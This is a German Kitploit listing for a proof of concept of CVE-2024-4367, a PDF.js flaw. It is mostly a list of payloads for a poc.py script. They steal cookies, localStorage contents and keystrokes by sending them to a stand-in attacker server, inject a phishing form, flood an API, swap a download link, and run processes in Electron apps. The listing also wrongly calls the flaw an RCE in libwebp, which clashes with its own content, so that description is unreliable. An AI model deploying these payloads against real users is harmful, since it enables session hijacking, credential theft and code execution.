Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-4367-POC-PDFJS — PoC (Proof of Concept) der CVE-2024-4367 - RCE-Sicherheitslücke in libwebp. Vollständige Demonstration inklusive: Erstellung von Payloads, Angriffsszenarien, Risikoanalyse und Express.js-Testserver. | Kitploit
Tools/GitHubGitHub/elamani-drawing/cve-2024-4367-poc-pdfjs
Phishing-ToolsPayload-GenerierungExploitationWebanwendungs-ExploitationDatenexfiltrationSocial EngineeringLernen & Bildung
GitHubelamani-drawing/cve-2024-4367-poc-pdfjs

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-4367-POC-PDFJS

PoC (Proof of Concept) der CVE-2024-4367 - RCE-Sicherheitslücke in libwebp. Vollständige Demonstration inklusive: Erstellung von Payloads, Angriffsszenarien, Risikoanalyse und Express.js-Testserver.

Repository anzeigen
126vor 1 JahrNoch nicht geprüft

CVE 2024 4367: PoC zur Ausnutzung von XSS (Cross-Site Scripting)

1. Anzeige eines Alerts (XSS-Auslösung)

Ein weiteres Ausnutzungsbeispiel besteht darin, eine einfache Alarmmeldung zu injizieren, um zu prüfen, ob der Angriff funktioniert.

python poc.py "alert('XSS exploit triggered');"
  • Erklärung: Dieser Code injiziert ein Alert-Popup in die Seite, um schnell zu testen, ob der XSS-Exploit auf der Zielseite ausgeführt wird.

2. Cookie-Diebstahl

Der XSS-Angriff kann genutzt werden, um die Cookies des Opfers zu stehlen und an einen bösartigen Server zu senden.

python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
  • Erklärung: Das Skript ändert die URL der Seite, um die Cookies des Opfers einzubeziehen, die dann an einen bösartigen Server (http://localhost:3000/cookie) gesendet werden.

3. Diebstahl lokal gespeicherter Daten (LocalStorage)

Der Angreifer kann sensible Informationen stehlen, die im localStorage des Opfers gespeichert sind, wie Authentifizierungsdaten oder Sitzungsinformationen.

python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
  • Erklärung: Der Code ruft die sensiblen Daten aus dem localStorage ab und sendet sie über eine fetch-Anfrage an einen bösartigen Server.

4. Bösartige Weiterleitung

Der Angreifer kann das Opfer auf eine bösartige Seite umleiten, um weitere Informationen zu sammeln oder einen anderen Exploit zu laden.

python poc.py "window.location.href='http://localhost:3000';"
  • Erklärung: Dieses Skript leitet das Opfer sofort auf eine bösartige Seite um, was bei Phishing-Angriffen oder zur Installation von Schadsoftware verwendet werden kann.

5. DDoS-Angriff (API-Überflutung)

Eine weitere Angriffsart besteht darin, einen Server mit Anfragen zu überfluten, was zu einer Leistungsverschlechterung oder Dienstunterbrechung führen kann.

python poc.py  "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
  • Erklärung: Das Skript sendet 100 HTTP-Anfragen an eine Ziel-API, was zu einer Serverüberlastung führen kann (Denial-of-Service-Angriff).

6. Keylogger (Tastatureingabe-Diebstahl)

Der Angreifer kann die Tastatureingaben des Opfers abfangen und so sensible Informationen wie Passwörter oder Benutzernamen abgreifen.

python poc.py """document.addEventListener('keydown', function(e) {
    fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
  • Erklärung: Dieses Skript zeichnet jeden Tastendruck des Opfers auf und sendet diese Informationen an einen bösartigen Server.

7. Phishing durch injiziertes Formular (Diebstahl sensibler Daten)

Ein Angreifer kann XSS nutzen, um ein Phishing-Formular in eine Webseite zu injizieren und so sensible Informationen (z. B. Passwort, Benutzername) zu stehlen.

python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
  • Erklärung: Dieser Code injiziert ein Formular in die Seite, sodass der Angreifer sensible Informationen abgreifen kann, die der Benutzer über dieses Phishing-Formular übermittelt.

8. Manipulation

Wenn der Benutzer auf eine Download-Schaltfläche klickt, ändern wir das Ziel des Downloads.

const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf"; 
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
  • Erklärung: Dieses Skript aktualisiert den Link einer Download-URL; die Idee ist, eine vorhandene Schaltfläche so zu ändern, dass sie eine bösartige Datei anstelle der vom Benutzer beabsichtigten herunterlädt.

9. Angriffe auf Desktop-Anwendungen (Electron, NW.js)

python poc.py "require('child_process').exec('calc.exe')"

Anwendungen, die auf Frameworks wie Electron oder NW.js basieren, können ebenfalls von XSS-Angriffen betroffen sein, da sie die Einbindung von Webinhalten in Desktop-Anwendungen mit erweiterten lokalen Zugriffsrechten ermöglichen.
Diese Anwendungen können aufgrund ihrer Berechtigungen einem Angreifer ermöglichen, auf lokale Dateien zuzugreifen, externe Prozesse auszuführen oder sogar andere Anwendungen auf dem Zielrechner zu starten (z. B. Taschenrechner, Texteditor usw.). Dies vergrößert die Angriffsfläche erheblich, da diese Anwendungen die Macht des Webs mit umfangreicheren Systemzugriffen kombinieren.


Fazit

Angriffe, die CVE (Common Vulnerabilities and Exposures) ausnutzen, können verschiedene Arten von XSS-Angriffen ermöglichen. Durch die Ausnutzung spezifischer Schwachstellen in Web- oder Desktop-Anwendungen kann ein Angreifer bösartigen Code injizieren, sensible Informationen stehlen, Benutzersitzungen manipulieren oder bösartige Aktionen auf dem Zielsystem ausführen.

Tool herunterladen